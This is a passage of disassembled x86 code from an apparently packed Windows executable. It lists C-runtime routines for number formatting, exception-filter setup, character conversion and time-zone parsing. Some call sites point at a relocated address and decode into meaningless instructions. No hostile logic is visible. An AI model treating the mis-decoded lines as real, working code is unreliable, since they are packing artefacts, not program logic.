sub_41A2E8+51j mov eax, [ebp+arg_4] loc_41A34C: ; CODE XREF: sub_41A2E8+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41A36C mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41A36C: ; CODE XREF: sub_41A2E8+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41A2E8 endp ; =============== S U B R O U T I N E ======================================= sub_41A374 proc near ; CODE XREF: sub_41A443+75p ; sub_41A443+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41A382: ; CODE XREF: sub_41A374+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41A382 pop esi retn sub_41A374 endp ; =============== S U B R O U T I N E ======================================= sub_41A38F proc near ; CODE XREF: sub_41A443+5Fp ; sub_41A443+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41A38F endp ; =============== S U B R O U T I N E ======================================= sub_41A39B proc near ; CODE XREF: sub_41A443+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41A3A1: ; CODE XREF: sub_41A39B+12j cmp dword ptr [eax], 0 jnz short loc_41A3B3 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41A3A1 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A3B3: ; CODE XREF: sub_41A39B+9j xor eax, eax retn sub_41A39B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3B6 proc near ; CODE XREF: sub_41A443+C0p ; sub_41A443+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41A3EC: ; CODE XREF: sub_41A3B6+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41A3EC mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41A41E: ; CODE XREF: sub_41A3B6+86j cmp ebx, edi jl short loc_41A431 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A431: ; CODE XREF: sub_41A3B6+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41A438: ; CODE XREF: sub_41A3B6+79j dec ebx sub ecx, 4 jns short loc_41A41E pop edi pop esi pop ebx leave retn sub_41A3B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A443 proc near ; CODE XREF: sub_41A5AF+Dp ; sub_41A5C5+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41A4B0 lea eax, [ebp+var_C] xor esi, esi push eax call sub_41A39B test eax, eax pop ecx jnz loc_41A56F lea eax, [ebp+var_C] push eax call sub_41A38F pop ecx loc_41A4A8: ; CODE XREF: sub_41A443+E4j push 2 loc_41A4AA: ; CODE XREF: sub_41A443+110j pop eax jmp loc_41A571 ; --------------------------------------------------------------------------- loc_41A4B0: ; CODE XREF: sub_41A443+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41A374 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41A2E8 add esp, 10h test eax, eax jz short loc_41A4D1 inc ebx loc_41A4D1: ; CODE XREF: sub_41A443+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41A4E9 lea eax, [ebp+var_C] push eax call sub_41A38F pop ecx jmp short loc_41A525 ; --------------------------------------------------------------------------- loc_41A4E9: ; CODE XREF: sub_41A443+98j cmp ebx, eax jg short loc_41A52C sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41A374 lea eax, [ebp+var_C] push esi push eax call sub_41A3B6 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41A2E8 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41A3B6 add esp, 20h loc_41A525: ; CODE XREF: sub_41A443+A4j xor esi, esi jmp loc_41A4A8 ; --------------------------------------------------------------------------- loc_41A52C: ; CODE XREF: sub_41A443+A8j cmp ebx, [edi] jl short loc_41A558 lea eax, [ebp+var_C] push eax call sub_41A38F push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41A3B6 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41A4AA ; --------------------------------------------------------------------------- loc_41A558: ; CODE XREF: sub_41A443+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41A3B6 pop ecx pop ecx loc_41A56F: ; CODE XREF: sub_41A443+55j xor eax, eax loc_41A571: ; CODE XREF: sub_41A443+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41A5A0 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41A5AA ; --------------------------------------------------------------------------- loc_41A5A0: ; CODE XREF: sub_41A443+14Ej cmp edi, 20h jnz short loc_41A5AA mov ecx, [ebp+arg_4] mov [ecx], esi loc_41A5AA: ; CODE XREF: sub_41A443+15Bj ; sub_41A443+160j pop edi pop esi pop ebx leave retn sub_41A443 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AF proc near ; CODE XREF: sub_41A5DB+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_431E30 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41A443 add esp, 0Ch retn sub_41A5AF endp ; =============== S U B R O U T I N E ======================================= sub_41A5C5 proc near ; CODE XREF: sub_41A608+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_431E48 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41A443 add esp, 0Ch retn sub_41A5C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A5DB proc near ; CODE XREF: sub_4168A8+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41B403 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41A5AF add esp, 24h leave retn sub_41A5DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A608 proc near ; CODE XREF: sub_4168A8+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41B403 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41A5C5 add esp, 24h leave retn sub_41A608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A635 proc near ; CODE XREF: sub_4168E6+65p ; sub_4169EA+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41A672 mov [ebp+arg_0], ebx xor ebx, ebx loc_41A658: ; CODE XREF: sub_41A635+38j mov dl, [ecx] test dl, dl jz short loc_41A664 movsx edx, dl inc ecx jmp short loc_41A667 ; --------------------------------------------------------------------------- loc_41A664: ; CODE XREF: sub_41A635+27j push 30h pop edx loc_41A667: ; CODE XREF: sub_41A635+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41A658 mov edx, [ebp+arg_8] loc_41A672: ; CODE XREF: sub_41A635+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41A68B cmp byte ptr [ecx], 35h jl short loc_41A68B loc_41A67E: ; CODE XREF: sub_41A635+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41A689 mov byte ptr [eax], 30h jmp short loc_41A67E ; --------------------------------------------------------------------------- loc_41A689: ; CODE XREF: sub_41A635+4Dj inc byte ptr [eax] loc_41A68B: ; CODE XREF: sub_41A635+42j ; sub_41A635+47j cmp byte ptr [esi], 31h jnz short loc_41A695 inc dword ptr [edx+4] jmp short loc_41A6A7 ; --------------------------------------------------------------------------- loc_41A695: ; CODE XREF: sub_41A635+59j push edi call sub_4126F0 inc eax push eax push edi push esi call sub_412E60 add esp, 10h loc_41A6A7: ; CODE XREF: sub_41A635+5Ej pop edi pop esi pop ebx pop ebp retn sub_41A635 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AC proc near ; CODE XREF: sub_4168E6+3Fp ; sub_4169EA+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41A710 pop ecx lea esi, [ebp+var_C] pop ecx push offset word_462D90 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41B8D4 mov dword_462DB8, eax add esp, 18h movsx eax, byte_462D92 mov dword_462DB0, eax pop edi movsx eax, word_462D90 mov dword_462DB4, eax mov dword_462DBC, offset dword_462D94 mov eax, offset dword_462DB0 pop esi leave retn sub_41A6AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A710 proc near ; CODE XREF: sub_41A6AC+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41A75E cmp ebx, edi jz short loc_41A757 lea edi, [ecx+3C00h] jmp short loc_41A77F ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A710+3Dj mov edi, 7FFFh jmp short loc_41A77F ; --------------------------------------------------------------------------- loc_41A75E: ; CODE XREF: sub_41A710+39j xor ebx, ebx cmp eax, ebx jnz short loc_41A776 cmp edx, ebx jnz short loc_41A776 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41A7C1 ; --------------------------------------------------------------------------- loc_41A776: ; CODE XREF: sub_41A710+52j ; sub_41A710+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41A77F: ; CODE XREF: sub_41A710+45j ; sub_41A710+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41A797: ; CODE XREF: sub_41A710+A6j test ecx, esi jnz short loc_41A7B8 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41A797 ; --------------------------------------------------------------------------- loc_41A7B8: ; CODE XREF: sub_41A710+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41A7C1: ; CODE XREF: sub_41A710+64j pop edi pop esi pop ebx leave retn sub_41A710 endp ; =============== S U B R O U T I N E ======================================= sub_41A7C6 proc near ; CODE XREF: sub_41461C+3AAp ; sub_41461C+3CBp ... push 2 call sub_4144BE pop ecx retn sub_41A7C6 endp ; =============== S U B R O U T I N E ======================================= sub_41A7CF proc near ; DATA XREF: sub_41A815o ; .nsp0:00431800o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41A7F2 cmp dword ptr [eax+10h], 3 jnz short loc_41A7F2 cmp dword ptr [eax+14h], 19930520h jnz short loc_41A7F2 jmp sub_41746C ; --------------------------------------------------------------------------- loc_41A7F2: ; CODE XREF: sub_41A7CF+Dj ; sub_41A7CF+13j ... mov eax, dword_462DC0 test eax, eax jz short loc_41A80F push eax call sub_41A86B test eax, eax pop ecx jz short loc_41A80F push esi call dword_462DC0 jmp short loc_41A811 ; --------------------------------------------------------------------------- loc_41A80F: ; CODE XREF: sub_41A7CF+2Aj ; sub_41A7CF+35j xor eax, eax loc_41A811: ; CODE XREF: sub_41A7CF+3Ej pop esi retn 4 sub_41A7CF endp ; =============== S U B R O U T I N E ======================================= sub_41A815 proc near ; DATA XREF: .nsp0:0041F020o push offset sub_41A7CF call dword_41D01C ; SetUnhandledExceptionFilter mov dword_462DC0, eax retn sub_41A815 endp ; =============== S U B R O U T I N E ======================================= sub_41A826 proc near ; DATA XREF: .nsp0:0041F038o push dword_462DC0 call dword_41D01C ; SetUnhandledExceptionFilter retn sub_41A826 endp ; =============== S U B R O U T I N E ======================================= sub_41A833 proc near ; CODE XREF: sub_416CBE+6Bp ; sub_4171CF+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0AB0000h rol dword ptr [ebp+330274C0h], 0F6h mov eax, esi pop esi retn sub_41A833 endp ; =============== S U B R O U T I N E ======================================= sub_41A84F proc near ; CODE XREF: sub_4171CF+73p ; sub_4171CF+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0AB0000h stosb test eax, eax jz short loc_41A867 xor esi, esi loc_41A867: ; CODE XREF: sub_41A84F+14j mov eax, esi pop esi retn sub_41A84F endp ; =============== S U B R O U T I N E ======================================= sub_41A86B proc near ; CODE XREF: sub_4171CF+15Bp ; sub_41A7CF+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 0AB0000h add dword ptr [ebp+330274C0h], 0FFFFFFF6h mov eax, esi pop esi retn sub_41A86B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41746C loc_41A883: ; CODE XREF: sub_41746C:loc_4174BDj push 0Ah call sub_419639 push 16h call sub_41BB67 pop ecx pop ecx push 3 call sub_413FE8 ; END OF FUNCTION CHUNK FOR sub_41746C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A89A proc near ; CODE XREF: sub_41760D+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41A8BD cmp [ebp+arg_8], ebx jz short loc_41A8BD mov al, [esi] cmp al, bl jnz short loc_41A8C3 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41A8BD mov [eax], bx loc_41A8BD: ; CODE XREF: sub_41A89A+Cj ; sub_41A89A+11j ... xor eax, eax loc_41A8BF: ; CODE XREF: sub_41A89A+42j ; sub_41A89A+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41A8C3: ; CODE XREF: sub_41A89A+17j cmp dword_462C58, ebx jnz short loc_41A8DE mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41A8D9 movzx ax, al mov [ecx], ax loc_41A8D9: ; CODE XREF: sub_41A89A+36j ; sub_41A89A+C0j push 1 pop eax jmp short loc_41A8BF ; --------------------------------------------------------------------------- loc_41A8DE: ; CODE XREF: sub_41A89A+2Fj mov ecx, off_4314B0 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41A93B mov eax, dword_4316BC cmp eax, 1 jle short loc_41A922 cmp [ebp+arg_8], eax jl short loc_41A92C xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_462C68 call dword_41D130 ; MultiByteToWideChar test eax, eax mov eax, dword_4316BC jnz short loc_41A8BF loc_41A922: ; CODE XREF: sub_41A89A+5Cj cmp [ebp+arg_8], eax jb short loc_41A92C cmp [esi+1], bl jnz short loc_41A8BF loc_41A92C: ; CODE XREF: sub_41A89A+61j ; sub_41A89A+8Bj ... mov dword_462BC4, 2Ah or eax, 0FFFFFFFFh jmp short loc_41A8BF ; --------------------------------------------------------------------------- loc_41A93B: ; CODE XREF: sub_41A89A+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_462C68 call dword_41D130 ; MultiByteToWideChar test eax, eax jnz loc_41A8D9 jmp short loc_41A92C sub_41A89A endp ; =============== S U B R O U T I N E ======================================= sub_41A962 proc near ; CODE XREF: sub_41760D+76p ; sub_41760D+88p ... arg_0 = dword ptr 4 cmp dword_4316BC, 1 jle short loc_41A979 push 8 push [esp+4+arg_0] call sub_414E26 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41A979: ; CODE XREF: sub_41A962+7j mov eax, [esp+arg_0] mov ecx, off_4314B0 mov al, [ecx+eax*2] and eax, 8 retn sub_41A962 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_41760D+797p ; sub_41760D+7E7p cmp cl, 40h jnb short loc_41A9AA cmp cl, 20h jnb short loc_41A9A0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41A9A0: ; CODE XREF: sub_41A990+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41A9AA: ; CODE XREF: sub_41A990+3j xor eax, eax xor edx, edx retn sub_41A990 endp ; =============== S U B R O U T I N E ======================================= sub_41A9AF proc near ; CODE XREF: sub_418083+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41A9FB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41A9CD test al, 80h jz short loc_41A9FB test al, 2 jnz short loc_41A9FB loc_41A9CD: ; CODE XREF: sub_41A9AF+14j cmp dword ptr [esi+8], 0 jnz short loc_41A9DA push esi call sub_419939 pop ecx loc_41A9DA: ; CODE XREF: sub_41A9AF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41A9EA cmp dword ptr [esi+4], 0 jnz short loc_41A9FB inc eax mov [esi], eax loc_41A9EA: ; CODE XREF: sub_41A9AF+30j test byte ptr [esi+0Ch], 40h jz short loc_41AA01 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41AA07 inc eax mov [esi], eax loc_41A9FB: ; CODE XREF: sub_41A9AF+9j ; sub_41A9AF+18j ... or eax, 0FFFFFFFFh loc_41A9FE: ; CODE XREF: sub_41A9AF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41AA01: ; CODE XREF: sub_41A9AF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41AA07: ; CODE XREF: sub_41A9AF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41A9FE sub_41A9AF endp ; =============== S U B R O U T I N E ======================================= sub_41AA1D proc near ; CODE XREF: sub_4180BE:loc_4180FDp cmp dword_462E80, 0 jnz short locret_41AA31 call sub_41AA32 inc dword_462E80 locret_41AA31: ; CODE XREF: sub_41AA1D+7j retn sub_41AA1D endp ; =============== S U B R O U T I N E ======================================= sub_41AA32 proc near ; CODE XREF: sub_41AA1D+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_462DC8, ebp mov dword_431F08, ebx mov dword_431EF8, ebx call sub_41BCD9 mov esi, eax pop ecx cmp esi, ebp jnz loc_41AB5B push offset dword_462DD0 call near ptr 0AB0000h icebp cmp eax, ebx jz loc_41AC8A mov eax, dword_462DD0 mov ecx, dword_462E24 imul eax, 3Ch cmp word_462E16, bp push 1 pop edx mov dword_431E60, eax mov dword_462DC8, edx jz short loc_41AAA9 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_431E60, eax loc_41AAA9: ; CODE XREF: sub_41AA32+69j cmp word_462E6A, bp jz short loc_41AACD mov eax, dword_462E78 cmp eax, ebp jz short loc_41AACD sub eax, ecx mov dword_431E64, edx imul eax, 3Ch mov dword_431E68, eax jmp short loc_41AAD9 ; --------------------------------------------------------------------------- loc_41AACD: ; CODE XREF: sub_41AA32+7Ej ; sub_41AA32+87j mov dword_431E64, ebp mov dword_431E68, ebp loc_41AAD9: ; CODE XREF: sub_41AA32+99j lea eax, [esp+14h+var_4] mov esi, dword_41D12C push eax push ebp push 3Fh mov edi, 220h push off_431EEC push ebx push offset dword_462DD4 push edi push dword_462C68 call esi ; dword_41D12C test eax, eax jz short loc_41AB16 cmp [esp+14h+var_4], ebp jnz short loc_41AB16 mov eax, off_431EEC and byte ptr [eax+3Fh], 0 jmp short loc_41AB1E ; --------------------------------------------------------------------------- loc_41AB16: ; CODE XREF: sub_41AA32+D1j ; sub_41AA32+D7j mov eax, off_431EEC and byte ptr [eax], 0 loc_41AB1E: ; CODE XREF: sub_41AA32+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_431EF0 push ebx push offset dword_462E28 push edi push dword_462C68 call esi ; dword_41D12C test eax, eax jz loc_41AC82 cmp [esp+14h+var_4], ebp jnz loc_41AC82 mov eax, off_431EF0 and byte ptr [eax+3Fh], 0 jmp loc_41AC8A ; --------------------------------------------------------------------------- loc_41AB5B: ; CODE XREF: sub_41AA32+2Dj cmp byte ptr [esi], 0 jz loc_41AC8A mov eax, dword_462E7C cmp eax, ebp jz short loc_41AB7E push eax push esi call sub_412310 pop ecx test eax, eax pop ecx jz loc_41AC8A loc_41AB7E: ; CODE XREF: sub_41AA32+139j push dword_462E7C call sub_412813 push esi call sub_4126F0 inc eax push eax call sub_41279F add esp, 0Ch cmp eax, ebp mov dword_462E7C, eax jz loc_41AC8A push esi push eax call sub_412600 push 3 push esi push off_431EEC call sub_413710 mov eax, off_431EEC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41ABD3 push 1 inc esi pop edi loc_41ABD3: ; CODE XREF: sub_41AA32+19Bj push esi call sub_4123D4 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_431E60, ecx loc_41ABEA: ; CODE XREF: sub_41AA32+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41ABF8 cmp al, bl jl short loc_41ABFB cmp al, 39h jg short loc_41ABFB loc_41ABF8: ; CODE XREF: sub_41AA32+1BCj inc esi jmp short loc_41ABEA ; --------------------------------------------------------------------------- loc_41ABFB: ; CODE XREF: sub_41AA32+1C0j ; sub_41AA32+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41AC4E inc esi push esi call sub_4123D4 imul eax, 3Ch pop ecx mov ecx, dword_431E60 add ecx, eax mov dword_431E60, ecx loc_41AC19: ; CODE XREF: sub_41AA32+1F2j mov al, [esi] cmp al, bl jl short loc_41AC26 cmp al, 39h jg short loc_41AC26 inc esi jmp short loc_41AC19 ; --------------------------------------------------------------------------- loc_41AC26: ; CODE XREF: sub_41AA32+1EBj ; sub_41AA32+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41AC4E inc esi push esi call sub_4123D4 pop ecx mov ecx, dword_431E60 add ecx, eax mov dword_431E60, ecx loc_41AC41: ; CODE XREF: sub_41AA32+21Aj mov al, [esi] cmp al, bl jl short loc_41AC4E cmp al, 39h jg short loc_41AC4E inc esi jmp short loc_41AC41 ; --------------------------------------------------------------------------- loc_41AC4E: ; CODE XREF: sub_41AA32+1CCj ; sub_41AA32+1F7j ... cmp edi, ebp jz short loc_41AC5A neg ecx mov dword_431E60, ecx loc_41AC5A: ; CODE XREF: sub_41AA32+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_431E64, eax jz short loc_41AC82 push 3 push esi push off_431EF0 call sub_413710 mov eax, off_431EF0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41AC8A ; --------------------------------------------------------------------------- loc_41AC82: ; CODE XREF: sub_41AA32+10Bj ; sub_41AA32+115j ... mov eax, off_431EF0 and byte ptr [eax], 0 loc_41AC8A: ; CODE XREF: sub_41AA32+40j ; sub_41AA32+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41AA32 endp ; =============== S U B R O U T I N E ======================================= sub_41AC90 proc near ; CODE XREF: sub_4180BE+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_431E64, edi jnz short loc_41ACA4 loc_41AC9D: ; CODE XREF: sub_41AC90+148j ; sub_41AC90+150j ... xor eax, eax jmp loc_41ADF0 ; --------------------------------------------------------------------------- loc_41ACA4: ; CODE XREF: sub_41AC90+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_431EF8 jnz short loc_41ACC2 cmp eax, dword_431F08 jz loc_41ADC4 loc_41ACC2: ; CODE XREF: sub_41AC90+24j cmp dword_462DC8, edi jz loc_41AD9A movzx ecx, word_462E76 push ecx cmp word_462E68, di movzx ecx, word_462E74 push ecx movzx ecx, word_462E72 push ecx movzx ecx, word_462E70 push ecx jnz short loc_41AD14 movzx ecx, word_462E6C push edi push ecx movzx ecx, word_462E6E push ecx movzx ecx, word_462E6A push ecx push eax push ebx jmp short loc_41AD28 ; --------------------------------------------------------------------------- loc_41AD14: ; CODE XREF: sub_41AC90+65j movzx ecx, word_462E6E push ecx push edi movzx ecx, word_462E6A push edi push ecx push eax push edi loc_41AD28: ; CODE XREF: sub_41AC90+82j push ebx call sub_41AE3C movzx eax, word_462E22 add esp, 2Ch cmp word_462E14, di push eax movzx eax, word_462E20 push eax movzx eax, word_462E1E push eax movzx eax, word_462E1C push eax jnz short loc_41AD82 movzx eax, word_462E18 push edi push eax movzx eax, word_462E1A push eax movzx eax, word_462E16 push eax push dword ptr [esi+14h] push ebx loc_41AD77: ; CODE XREF: sub_41AC90+108j push edi call sub_41AE3C add esp, 2Ch jmp short loc_41ADC4 ; --------------------------------------------------------------------------- loc_41AD82: ; CODE XREF: sub_41AC90+C8j movzx eax, word_462E1A push eax push edi movzx eax, word_462E16 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41AD77 ; --------------------------------------------------------------------------- loc_41AD9A: ; CODE XREF: sub_41AC90+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41AE3C push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41AE3C add esp, 58h loc_41ADC4: ; CODE XREF: sub_41AC90+2Cj ; sub_41AC90+F0j mov edx, dword_431EFC mov eax, dword_431F0C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41ADF4 cmp ecx, edx jl loc_41AC9D cmp ecx, eax jg loc_41AC9D cmp ecx, edx jle short loc_41AE08 cmp ecx, eax jge short loc_41AE08 loc_41ADEE: ; CODE XREF: sub_41AC90+166j ; sub_41AC90+16Aj mov eax, ebx loc_41ADF0: ; CODE XREF: sub_41AC90+Fj ; sub_41AC90+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41ADF4: ; CODE XREF: sub_41AC90+144j cmp ecx, eax jl short loc_41ADEE cmp ecx, edx jg short loc_41ADEE cmp ecx, eax jle short loc_41AE08 cmp ecx, edx jl loc_41AC9D loc_41AE08: ; CODE XREF: sub_41AC90+158j ; sub_41AC90+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp 